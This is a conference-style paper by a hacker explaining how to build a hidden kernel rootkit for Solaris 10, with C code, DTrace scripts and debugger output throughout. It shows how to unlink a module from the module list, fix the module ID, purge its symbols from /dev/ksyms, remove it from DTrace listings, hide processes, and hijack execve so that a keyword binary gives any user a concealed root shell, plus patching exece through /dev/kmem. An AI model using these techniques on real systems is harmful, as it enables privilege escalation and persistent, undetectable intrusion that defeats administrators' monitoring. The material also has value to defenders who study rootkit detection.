SUN - Bloody Daft Solaris Mechanisms

“**B.D.S.M. the Solaris 10 way.**”

S.I.n.A.R. isn't a rootkit.

Archim – VulnDev\[.\].org

archim@vulndev.org

Welcome to S.I.n.A.R.

Introduction:

This paper documents the features that make Solaris 10 the rootkit writers friend,.We mainly will be assuming a SPARC system however it is 90% directly portable to x86 version of Solaris. As with all good kernel code, you just need a compiler for the platform and the source with a few tweaks. This document also has an accompanying talk and set of slides which, when combined, give the viewer a fairly good grasp on a couple of the new features of Solaris 10.

I have looked into kernel based rootkits for Solaris for a couple of years. It wasn't until June 2004 I made the decision to dedicate time into specifically targeting the platform. As is evident in the **very** limited number of articles regarding solaris rootkit's. No-one seems to have done it "properly". I thought it was time that the situation changed.(This is not to say that I don't acknowledge that plasmoid of T.H.C. has looked at it in his own paper, but it's not great).

I have not included the latest code for the rootkit (smaller variants do exist). Nor have I stuck to one single development method for this release. I believe that diverse methods are key to change. There are several ways you can change what I present here to make it far less dependant upon having Dtrace embedded into the build script. I leave that for your education.

What this document will cover is:

Unlinking from the module list.
Decrementing the Module ID.
Hiding from the Kernel Symbol Table.
Hiding from Dtrace.
Hiding Processes without changing getdents().
Hijacking Execve without changing sysent[].

All of these have implications for the Solaris Administrator.

I would apologise to anyone who doesn't like me writing this paper but I'm not going to.
This code does not exploit "security" vulnerabilities in Solaris 10 therefore I do not see a need for a notification time. A key to rootkit development is knowing that it's not just the remote "Hacker" who is the threat. **There is a greater threat from the inside than ever before.**

Anyhow, you can't just "patch" the kernel to stop what we are about to discuss. it's all rather integral. I **could** have a moral battle with myself and not release this. I am releasing this but as such I condemn it's use against a corporation, government or individual. I also have left the odd "bit" here and there needing modification. If you know C and pay attention you will be just fine. (As an alternative, you could find me and buy me a couple of beers).

The Business side:

My specification for a new backdoor is that it MUST be able to spawn a root shell for any non-root user who can get an interactive shell. Anything else is a bonus.

The very first thing that must be done upon loading a module is that it must be hidden from the administrator. Modinfo lists the modules loaded and known to the system (depending on it's invocation), it is the Solaris version Of `lsmod` on Linux.

What details are visible from modinfo:

```
-bash-2.05b# modinfo -c | head -3
 Id   Loadcnt   Module Name                State
  0      1      unix                 LOADED/INSTALLED
  1      1      krtld                LOADED/INSTALLED
```

We have a module Id, a Load count, the Module Name and then the state of the module.

Under Linux, especially the 2.6 family of the Linux kernel. The only thing you have to do for removing a module from the administrator's eyesight is to remove it from the module_list.
When a module is loaded under Solaris, it is assigned a module ID for the session and linked into the list of modules.
If a module is unloaded, it keeps it's ID and the last_module_id integer which is located in memory is not decremented, creating a problem that will become evident.

Looking into modctl.h:

```
struct modctl {
        struct modctl    *mod_next;      /* ... */
        struct modctl    *mod_prev;
```

I am not about to explain about the simple manipulation of linked lists (if this is something you don't understand I imagine you could do with reading more). Taking this on board, the use of the following code as part of out kernel module will remove us from the linked list:

```
module_structure->mod_prev->mod_prev->mod_next = module_structure;
module_structure->mod_prev = module_structure>mod_prev->mod_prev;
```

We have removed ourselves from the Module list, in a much more effective manner than using “” as a module name. The next problem occurs when we look a bit harder at what modinfo reports after we have been unlinked.

```
-bash-2.05b# modload sinar.
-bash-2.05b# modinfo
 Id Loadaddr   Size Info Rev Module Name
160  1276450    28c   -   1  RT_DPTBL (realtime dispatch table)
161 7bf3e410   1584   -   1  bufmod (streams buffer mod)
```

We were safe to assume that the module would be removed from this list following our list manipulation code. There is however another problem that needs to be addressed:

```
-bash-2.05b# modinfo
 Id Loadaddr   Size Info Rev Module Name
161 7bf3e410   1584   -   1  bufmod (streams buffer mod)
163 7bff9038    b60  72   1  ksyms (kernel symbols driver 1.27)
-bash-2.05b#
```

When another module is loaded into the kernel after our code, the module ID is off by one, this is a pretty obvious indicator that something is wrong.

**** DRUM ROLL PLEASE ****

Ladies and Gentlemen, It is my pleasure to introduce to you:

Dtrace

What is it:

Let me be quite frank about this. Dtrace is brilliant. I believe that any serious Solaris Administrator (or exploit writer/kernel coder/intrigued person) will find it massively useful. (as a tangent it even allows you to see userland calls to routines such as strcpy and access the parameters which are passed for any PID which is specified, VERY COOL!).

[Quote from sun.com](Dtrace handbook Beta version)
“DTrace is a comprehensive dynamic tracing facility that is built into Solaris that can be used by administrators and developers on live production systems to examine the behaviour of both user programs and of the operating system itself. DTrace will allow you to explore your system to understand how it works, track down performance problems across many layers of software, or locate the cause of aberrant behaviour. ”

I am not going to give a tutorial on Dtrace, SUN do that brilliantly in:
http://docs.sun.com/db/doc/817-6223
In the presentation slides there is a larger insight into Dtrace and it's use to access functions.

Where is the relevance to our search for kernel hiding goodness (mmmmm fresh kerrrrrrnel)?

One of the many features of Dtrace is that it allows you to access exported kernel variables.
(For an official version of just what can be done with external variable access see section 3.6 of the above text).

The New Mantra:
while 1:
“I will use Dtrace, I will love Dtrace”

On your solaris 10 machine enter the following script:

```
“extern.d”
dtrace:::BEGIN
{
printf("\nlast module ID = %d (located at: 0x%p)\n",`last_module_id,(long *)&`last_module_id);
exit(0);
}
```

Then execute it:

```
-bash-2.05b# dtrace -s extern.d
dtrace: script 'extern.d' matched 1 probe
CPU     ID                    FUNCTION:NAME
  0      1                           :BEGIN
last module ID = 172 (located at: 0x18ab934)
-bash-2.05b#
```

Now we know the address of the variable, we can pass it's address to the compiler and module and manipulate it's value from there:

```
int * kmodidptr = KMID;
*kmodidptr = *kmodidptr – 1;
```

What we get when we compile and load this module and load in a module after unlinking and decrementing is the following:

```
159 7ba6ea78   1584   -   1  bufmod (streams buffer mod)
160 7bff9038    b60  72   1  ksyms (kernel symbols driver 1.27)
-bash-2.05b#
```

so we have solved that problem thanks to SUN, Dtrace and a bit of lateral thinking (Other decrements are available (T.M.)).

Hijacking execve:

```
bash-2.05b$ grep SYS_exec /usr/include/sys/*
/usr/include/sys/syscall.h:#define      SYS_exec        11
/usr/include/sys/syscall.h:#define      SYS_execve      59
bash-2.05b$
```

Well, this leaves us with a nice friendly method to access system call interrupts;
Before we can do this, what is the structure of the Solaris 10 System call table, what type of data does this represent and how (above all, can we toy with it.)

```
systm.h:struct sysent {
char            sy_narg;        /* total number of arguments */
[...]
int             (*sy_call)();   /* argp, rvalp-style handler */
krwlock_t       *sy_lock;       /* lock for loadable system calls */
int64_t         (*sy_callc)();  /* C-style call hander or wrapper */
};
```

we are interested in the sy_callc part (sy_call being phased out over time);
So it is back to good old Dtrace to check our theory that sy_callc should hold the address of the handler.

```
dtrace:::BEGIN
{
ptr = (long *) &`exec;
printf("\nsysent[11]: 0x%p\n",`sysent[11].sy_callc);
printf("Exec at: 0x%p\n",ptr);
exit(0);}
```

```
-bash-2.05b# dtrace -s exec.d
dtrace: script 'exec.d' matched 1 probe
CPU     ID                    FUNCTION:NAME
  0      1                           :BEGIN
sysent[11]: 0x10b87ac
Exec at: 0x10b87ac
```

That confirms that we have a system call entry exported and we can use the sysent array just like we would from inside the kernel (did we discuss how nice Dtrace is lately?).

However we are more interested in SYS_execve as all exec(l|e|v)'s lead to SYS_execve eventually.

As we can index sysent, we toddle off back to Dtrace:

```
dtrace:::BEGIN
{
printf("\nsysent[59]: 0x%p\n",`sysent[59].sy_callc);
}
```

```
-bash-2.05b# dtrace -s execve.d
dtrace: script 'execve.d' matched 1 probe
CPU     ID                    FUNCTION:NAME
  0      1                           :BEGIN
sysent[59]: 0x10b87bc
```

I tawt i taw a putty cat!!

There are several ways of modifying the system entry table, just as on any operating system which uses system calls. (Heathen non-system call based OS' not being worth the time and effort to look at, that's not true there just isn't the finance in place to purchase tools such as softice.). By far the easiest for kids to grasp is just swapping the value of the pointers. If I wasn't me then that is where I would leave it, however later on we will cover one of the other ways.

Before we can swap pointers it will help if we have somewhere to point to. We create a wrapper function for execve.

```
#define RK_EXEC_KEY “./sinarrk”
#define RK_EXEC_KEY_LEN 9
#define RK_EXEC_SHELL “/bin/bash”

int64_t sinar_execve(char *fname, char **argv, char **envp)
{
int error;
pathname_t n_pn;
pn_get((char *)fname, UIO_USERSPACE, &n_pn);
if(strncmp(RK_EXEC_KEY,n_pn.pn_path,RK_EXEC_KEY_LEN) == 0)
  {
curproc->p_cred = crdup(kcred);
// populate fname with our required shell to execute.
ddi_copyout(RK_EXEC_SHELL,fname,RK_EXEC_KEY_LEN,0);
  }
            error = exec_common(fname, argv, envp);
return error;
}
```

Parts to note:

pn_get. This copies the pathname of the executing binary into the pathname structure from user memory (otherwise you will fault for trying to access user memory from kernel memory.).

We then compare the pathname to a defined key using string compare. If there is a match, we take the kernel credential structure and copy it to our current process credentials. At this point anything we do is going to be done as root. Having made sure that the shell we want to execute as root is set with the same length of string as the key we use to recognise us. We use ddi_copyout to put the kernel memory into userland.

Then call exec_common as normal.

Pointer replacement does work easily, and it is good for "quick and dirty" hacks. What we need to bear in mind is that Dtrace is an "Administrators tool" and as such we may as well give them something to use.

for example:

```
#! /usr/sbin/dtrace -qs
dtrace:::BEGIN
{
printf("sysent[%d] = 0x%p\n",$1,`sysent[$1].sy_callc);
exit(0);
}
```

then you can automate this script with a short shell script. I use python out of preference:

"syscall_snake.py"

```
import sys,os

def main():
   print "Getting addresses\n"
   x = 0;
   while x <= 255:
       os.system("/D/sysent.d " + str(x));
       x += 1;

main();
```

That gives you something to work on, if you redirected output to a file you could then parse it and create md5 hashes of each values. All you system admins who have got into the conference do need to realise that there have been collisions found in MD5, maybe someone will discuss that on the Crypto/Science Track.

Hiding from Ksyms

When we have loaded our module, if you search /dev/ksyms for strings you will see if you grep for the names of your functions within the module that they are in the kernel symbol tables, this is an obvious disadvantage as it means chkrootkit could find us. ("Oh no, mommy I'm so scared!").

```
-bash-2.05b# modload sinar.
-bash-2.05b# strings -a /dev/ksyms | grep sinar_exec
sinar_execve
-bash-2.05b#
```

/dev/ksyms is a pseudo device which creates a snapshot of the kernel syms at the time you want to look at it:

In the event that you don't believe me:

```
"ksyms.d"
dtrace:::BEGIN
{printf("\n");}

fbt:genunix:ksyms_snapshot:entry
{printf("\n");
printf("***********START ksyms_snapshot *************\n");
printf("arg1: 0x%p\n",arg0);
printf("arg2: 0x%x\n",arg1);
printf("arg3: 0x%p\n",arg2);
printf("***********END ksyms_snapshot *************\n");}
```

Set that running and then do something like:

```
strings /dev/kyms | head -1
```

To solve this little frustration you can try compiling the module to assembler output then modifying the ".common" entries and any other "tell-tale" signs of the code. This doesn't work. For the simple reason that the kernel linker has to be able to link you into the kernel. If it has no symbols to link in then it isn't going to get very far.

Ksyms could be gone through manually to hide the symbols by NULL-ing them out (carefully, I am not covering that here!). However as friends you get the good juicy bits.
My method is to call kobj_sync(); from within your kernel module.
If you do this at the right time. You will find that the symbols are no longer exported to the world.

Why does this work? The original KSYMS memory gets copied and new snapshot is created to store the kernel symbols. That memory is populated by using **currently loaded modules** on the module list and extracting their symbols (as you would expect for a dynamic structure really).

How does this help us?
As we know that we do not necessarily have to appear on the module list, when the sync function does it's business we are neglected and our symbols are not added into the snapshot.
Hence, we are no longer a set of kernel symbols. (HURRAH!);
the proof:

```
-bash-2.05b# strings -a /dev/ksyms | grep n_execve
-bash-2.05b#
```

Where are we now? We have a loadable module and a ksyms free from our nefarious symbols. OK, we have violated the system entry array. However let's face it, if we have got to the stage of installing a rootkit in the first place the admin. is unlikely to have a script checking the system entry table. Until they suspect a compromise.

Hiding Processes without modifying getdents().

How can we "hide" a process on a solaris 10 system?

It is possible to dig into the process and scheduling of the Solaris system. However where these implement linked lists it is not feasible to just remove a process from a process list. Anyone familiar with implementing or working with scheduling will realise that a process not known to the schedular does not exist. As such, it is not feasible to have a running process (ie. A shell) that is not a part of the schedular.

I don't like modifying anything that I don't have to. Therefore we will look at the process data structure for clues on how to hide processes themselves.

```
typedef struct    proc {
          [...]
          pid_t     p_ppid;                         /* process id of parent */
          [...]
          struct    sess      *p_sessp;     /* session information */
          struct    pid       *p_pidp;      /* process ID info */
          struct    pid       *p_pgidp;     /* process group ID info */
          [...]
```

Within a proc_t is a struct pid. This structure contains the following:

```
struct pid {
          unsigned int pid_prinactive :1;
          [...]
          pid_t pid_id;
          [...]
};
```

Inactive processes are of course not active, therefore they won't be shown. (logical eh?!)

The following will mark us as inactive:
proc->p_pidp->pid_prinactive = 0;

It is important to set the process inactive after exec_common (otherwise it will be changed by the executing function and be "normal".)

Demonstration:

```
bash-2.05b$ id
uid=100(mark)
bash-2.05b$ ./sinarrk
sinarrk# id
uid=0(root) gid=0(root)
sinarrk# ps
   PID TTY         TIME CMD
   554 pts/5       0:00 ps
sinarrk# echo $$
552
```

You can see the process from the kernel debugger however.

That should at least give admins some hope. But then again, nothing has ever been totally undetectable and still able to be used on multiple platforms and architectures with just a recompile.

The Dangers of B.D.S.M.

Fixing what we broke:

From the initial part of the document, several things became apparent (as I imagined they would once I had actually got going into it.). Mainly that what we have currently, doesn't do the job properly.

The major problem with the previous section of the article is that it is spotted by dtrace -l, or in the times when you can't read it off the end of the fbt module list, your system dies. (rather spectacularly I might add.).

I use Dtrace to get the addresses of kernel symbols, if you want to streamline your rootkit/kernel code, you should also look into kobj_getsymvalue(). For the purposes of ease of readability, I will stick to Dtrace copy/pastes.

Hiding from Dtrace:

"To wit: I now have had not one but two software vendors tell me that I must add a way to disable DTrace for their app to prevent their own customers from observing their software. They're not even worried about their competitors -- they're too busy screwing their own customers! (Needless to say, their requests for such a feature were, um, declined.)"
-- Source "http://blogs.sun.com/bmc"

Where does this problem lie? What causes it? And how can we solve it so that we are not worried about showing up in dtrace listings. (How embarrassing would that be when trying to look like we know what we are doing!?!).

Initially I thought the problem was being caused by the code that marks the process as inactive.
The problem lay in Dtrace itself. When Dtrace lists it's objects (by calling ioctl amongst other things) it "probes" them and at that point in time, because we were unlinked, the system fell over (NULL pointers and functions in the kernel are never a good idea.).

From the SUN Dtrace manual (the fbt provider chapter). We see (as if it wasn't already pretty bloody obvious) that the fbt provider handles newly created modules. It will, when a module is loaded, create entries for module related functions. This is because Dtrace is there to allow access to as much of the system as possible in a "safe" way (*shudder*).

As with most things where you have lots of structures of the same type, Dtrace implements several linked lists. These can be read from include/sys/dtrace.h and include/sys/dtrace_impl.h
Of course as good little code gremlin's we would never do anything wrong with a linked list would we?

Just as with unlinking the modules from the modctl list, we would think that if we can find the list containing the entries for our module that we could do a neat "nip and tuck" and voila.
I am sure that I will have to modify the above when SUN release the Solaris 10 Source. However until SCO teaches pigs how to fly for Linux user bombing runs, I think "understanding" the Solaris kernel will stay in the realms of the few. That is not a complaint. Welcome to the few.

What can we grasp from the headers?

Dtrace uses “hashes”, these hash functions aren't exported. However if you ::dis various dtrace objects (with the dtrace module loaded for mdb -k) you will see references to hash functions. All that this means is that to use them (or any other non-exported function which you know the address of) you only need a pointer to it (if you don't understand that you shouldn't be reading this!).

Firstly let's think about what we know Solaris likes already. If we remove things (or mark them as inactive) there are normally tidy-up routines to keep the system from wasting resources.
For an insight into what the full Vulndev.org Solaris code **MAY** include, try the following from the include/sys folder:
`find . | xargs egrep "_sync\("`

Moving on.

```
bash-2.05b$ grep sync dtrace*
dtrace.h:extern void dtrace_sync(void);
[cut]
```

Let us not forget that kobj_sync goes through and does the modctl and ksym tidying up for things that “aren't in use”. So I believe it is a fair assumption at this point to say that dtrace_sync() probably does something similar.

Try inserting this straight into a module, it won't hide anything on it's own. Therefore more must remain to be discovered. ***Cue the Indiana Jones music***

```
bash-2.05b$ grep enabled dtrace*
[cut]
dtrace.h: *   dtrace_condense()       <-- Remove a provider's unenabled probes
[cut]
```

Looking into the header file we see the following specification:
int dtrace_condense(dtrace_provider_id_t id)
(<deity> bless SUN and all under her employ for their great header commentary).

There is nothing that says specifically that this function is going to do the job however it is not module dependant as it is a part of the Dtrace “Provider-to-Framework API”.
To successfully run dtrace_condense() we have to pass it a dtrace_provider_id_t which turns out to be:

```
dtrace.h:typedef uintptr_t      dtrace_provider_id_t;
```

This means that a dtrace_provider_id_t is a data block capable of holding a 64bit memory address (under SPARC 64 ofcourse). This is definitely something that we are going to want to remember.
We now turn our attention to just what an “unenabled” probe is.
A probe is a module (or program) function that is exported to Dtrace. Not something Cartman discusses with Stan, Kyle, Kenny and the Aliens.

Let us examine the dtrace -l output:

```
-bash-2.05b# dtrace -l | tail -3
34644       fbt          zmod                  z_strerror return
34645       fbt          zmod                z_uncompress entry
34646       fbt          zmod                z_uncompress return
-bash-2.05b# modinfo | tail -5
166 7be83988   4fb8   -   1  zmod (RFC 1950 decompression routines)
167 7bf3f808    a60  89   1  lockstat (Lock Statistics 1.9)
168 7bb23668    c80 220   1  profile (Profile Interrupt Tracing)
169 7bf42238   1f10 222   1  sdt (Statically Defined Tracing)
170 7bff9a08    7a8 221   1  systrace (System Call Tracing)
-bash-2.05b#
```

There we can see that the bottom of the dtrace list contains entries that belong to zmod. But which fall under the fbt provider (let us all contain our surprise).
So I think at this stage in the proceedings it is safe to assume this that an “unenabled” probe is one which is contained within a module which does not have a loaded or an active status.

If we think about that and open modctl.h at the same time:

```
[cut]
        char          mod_loaded;     /* module in memory */
        char          mod_installed;  /* post _init pre _fini */
[cut]
```

These are pretty self-explanatory. A '0' in mod_loaded and mod_installed will indicate the module is (surprisingly) not loaded and not installed as far as any tests against it's structure goes. (Remember that once a module is loaded it becomes part of that modinfo -c list.) for example, create a small test mod (just the _init , _info and _fini functions and within init change the module flags above, then try modunload). It would be a good way of really annoying an admin.
It can be solved through another module loading and marking the persistent module as mod_installed being true.

Even with a call to dtrace_sync() and the flags set properly, it still won't work.
This is because we haven't called dtrace_condense() yet.
You can sometimes get the “extern “ declaration for it depending on your defines, but i prefer to grab it's address with a Dtrace script. (after all, it is there to allow easy kernel debugging in a “safe” way.)
It does take a parameter however, a dtrace_provider_id_t , what is this, where does it come from and can I have it in black?

I think it is safe to assume that this provider id (which is going to be a pointer, let's face it). Is going to point to a provider of probes. (*gasp*). What we want it to point to is the fbt module.

```
-bash-2.05b# strings -a /dev/ksyms | grep provide
[cut]
No, some things that we will find dejavous-esque later, but nothing directly relevant.
-bash-2.05b# strings -a /dev/ksyms | grep probe
[cut]
dtrace_probes
[cut]
> dtrace_probes::print -t
dtrace_probe_t **0x300046e4000
>
```

veritably now the game is afoot. (or at the very least a smelly sock.).

We have a pointer, to a pointer.

```
> *dtrace_probes::print -t
mdb: no symbol information for 0x300046e4000: no symbol corresponds to address
```

Now we have a little guess about what it is pointing to. (having ofcourse read through dtrace.h and seen dtrace_probe_t earlier). Not to mention that a probe provider may well provide probes, and the dtrace_probe_t would make sense to be the structure that we are needing to use.

```
> **dtrace_probes::print -t dtrace_probe_t
{
    dtrace_id_t dtpr_id = 0x1
    dtrace_ecb_t *dtpr_ecb = 0
    dtrace_ecb_t *dtpr_ecb_last = 0
    void *dtpr_arg = 0
    dtrace_cacheid_t dtpr_predcache = 0
    int dtpr_aframes = 0
    dtrace_provider_t *dtpr_provider = 0x30001e565c0
    char *dtpr_mod = 0x30001c6c0f8 ""
    char *dtpr_func = 0x30001c6c0f0 ""
    char *dtpr_name = 0x30001c6c0e8 "BEGIN"
    dtrace_probe_t *dtpr_nextmod = 0
    dtrace_probe_t *dtpr_prevmod = 0x300021db9c0
    dtrace_probe_t *dtpr_nextfunc = 0
    dtrace_probe_t *dtpr_prevfunc = 0x300021db9c0
    dtrace_probe_t *dtpr_nextname = 0
    dtrace_probe_t *dtpr_prevname = 0
}
```

Ok, this is all well and good but where is it leading us?

```
  dtrace_provider_t *dtpr_provider = 0x30001e565c0
```

ah ha! That there my fellow is a pointer to a provider.

```
> 0x30001e565c0::print -t dtrace_provider_t
[cut]
    char *dtpv_name = 0x30001c6c100 "dtrace"
[cut]
    struct dtrace_provider *dtpv_next = 0x30001e56de0
[cut]
```

Now we are into our linked list of providers. (HURRAH!)

Getting to the magic that is mdb we use the address provided and pass it to the linked list walker within mdb to print out all of the entries (up to the NULL).

```
> 0x30001e565c0::list dtrace_provider_t dtpv_next
[...]
30001e56b60
30001e56c00
30001e56d40
>
```

This is useful but could be more useful, if we pipe this into a print statement and then select the dtpv_name field of the structure. We can see what the names of the modules are in turn.

```
> 0x30001e565c0::list dtrace_provider_t dtpv_next | ::print -t dtrace_provider_t dtpv_name
char *dtpv_name = 0x30001c6c100 "dtrace"
[...]
char *dtpv_name = 0x30001c6c338 "fbt"
>
```

The final entry, “fbt” is the provider that handles kernel modules loaded.
Using the value: 0x30001e56d40 (from the first list walk). We can check that it really is a Dtrace provider (dtrace_provider_t)

```
>0x30001e56d40::print -t dtrace_provider_t
{
[...cut...]
    dtrace_pops_t dtpv_pops = {
        int (*)() dtps_provide = dtrace_nullop
        int (*)() dtps_provide_module = fbt_provide_module
        int (*)() dtps_enable = fbt_enable
        int (*)() dtps_disable = fbt_disable
        int (*)() dtps_suspend = fbt_suspend
        int (*)() dtps_resume = fbt_resume
        int (*)() dtps_getargdesc = fbt_getargdesc
        int (*)() dtps_getargval = 0
        int (*)() dtps_usermode = 0
        int (*)() dtps_destroy = fbt_destroy
    }
    char *dtpv_name = 0x30001d0e438 "fbt"
    void *dtpv_arg = 0
    uint_t dtpv_defunct = 0
    uint_t dtpv_anonmatched = 0
    struct dtrace_provider *dtpv_next = 0
}
```

This show's a number of things:

That this is the fbt provider.
The names of the services provided by the provider.
That there are no further providers (NULL in dtpv_next)

Because at some point this structure must be passed to the setup routines for Dtrace, it is a fair assumption that it is a variable and symbol in it's own right.

When you combine a call to dtrace_sync() and then dtrace_condense(&fbt_provider). You will be removed from the list of providing modules in Dtrace.

Hijacking System calls without changing the system entry tables or interrupt handlers.

A required text (if you want to repair the errors built into the released code) is the following publication:

www.sparc.com/standards/SPARCV9.pdf

I highly recommend PURCHASING the above PDF as a printed book,
ISBN: 0-13-099227-5
(You will not necessarily need to be familiar with SPARC Assembly language to utilise it.)

Your SPARC V9 Sections for reference:
Pg's 31, 62-81, 170, 181, 201, 208, 217, 218 and 289.

In order to avoid modifying the System Entry table entries, one needs to find a method which they can use to edit either the System Handlers, such is easily done under Linux, or do something which is a bit more fun for the average bear (or Panda).

There are a couple of considerations that must come into play when Hijacking system calls on any system.
    How does the call operate.
    Does it pass pointers or actual structures.
    What does it return.
Those are System independent, regardless of what OS you are modifying you will need to take this into account.

There are situations where it is not feasible to re-write the system call, however there are plenty of areas where it is perfectly feasible.

The exece() function is what we will target.

Re-writing Execve:

Exece is a wrapper to execve, It is defined as:
*./sys/exec.h:extern int exece(const char *fname, const char **argp, const char **envp);*

This is interesting because, unlike Linux, all of the parameters which are passed to the function are pointers. These are not something subject to change and as such can be easily thrown around.

In order to fully understand what we are going to do, it will help if we are able to see what we are talking about:
Disassembling exece gives:

```
> exece::dis
exece:              save    %sp, -0xb0, %sp
exece+4:             mov     %i0, %o0
exece+8:             mov     %i1, %o1
exece+0xc:            call    +0x38      <exec_common>
exece+0x10:            mov     %i2, %o2
[cut]
```

Step by step this performs the following:

> exece::dis
exece: save   %sp, -0xb0, %sp
Create space for local storage..
exece+4:   mov   %i0, %o0
move the first passed argument (*fname) to the first out register
exece+8:   mov   %i1, %o1
move the second passed argument (**argv) to the second out register
exece+0xc: call   +0x38   <exec_common>
call the function exec_common();
exece+0x10:   mov   %i2, %o2
move the third passed argument (**envp) to the third out register.

If you are confused about third argument being passed after the call, you should look into the delay slot mechanism of the SPARC CPU.

This shows us that exec_common() takes exactly the same arguments as exece.
Which in turn leaves us knowing that we don't have to worry about any processing that exece MAY have done upon the inbound arguments as they are passed to exec_common straight away.

Now that we know about what arguments we have control of, the matter of how we can hijack the function arises. The key process to pursue here is the thought of **TRANSFER** from one location to another.

Some people seem to believe that under the SPARC architecture, you are limited to a JMP of an address range of 13 bits.
This is wrong.

Extract from SPARC V9 Architecture manual, pg 170:
"...JMPL instruction causes a register-indirect delayed control transfer to the address given by r[rs1] + r[rs2] ... or r[rs1] + sign_ext(simm13)..."

So actually, we can jump to any addressable memory location. This does mean that it has to be memory aligned, but that makes sense due to SPARC's 4-byte opcode rule.

Therefore in order to transfer from the location of exece to a location of our choice:

set-up a register with the destination address

jump to it

handle the system call by calling exec_common() at some stage.

Return from System call.

I cover the basic structure in my presentation on Solaris rootkits, first aired at the 21C3 (www.ccc.de/congress/2004)

There are several ways to get the Address of your function within the kernel. Use your imagination.

Once you have the address of the kernel modules function and the original address of exece, you need to modify the kernel memory.
This can be done either through REALLY screwing around with genunix or (more easily) by patching /dev/kmem.

Going on the assumption that you don't mind patching Kmem (or if the admin. is trying to be clever, check for /devices/pseudo/mm@x:kmem) I will not cover writing to Kmem, we all know how to do it, it's not new.

So we need to write some code that will position us at the address of the function we wish to modify, create the opcodes for the JMPL instruction and write them to kmem.

This does ofcourse only work as such for the SPARC architecture, it is possible to do it for x86 too you will have to look into that yourself. The principle is exactly the same but you need to obviously change the opcode structures.

The End

That's everything you need to know to get you in a whole load of trouble.

For the Blogged response to the requests to Disable Dtrace see: http://en.wikipedia.org/wiki/The_finger

Questions??

Email: archim@vulndev.org

Telephone Number on request.

IRC: ircs.segfault.net #phenoelit - Archim

“Paranoia, Keeping us clothed and fed since _init();”

Notes to the reader.

I am always happy to discuss new ideas, ideas for ideas or to be offered work. Please contact me at the given email addresses.

PGP key is available on request.

Don't waste all of our time.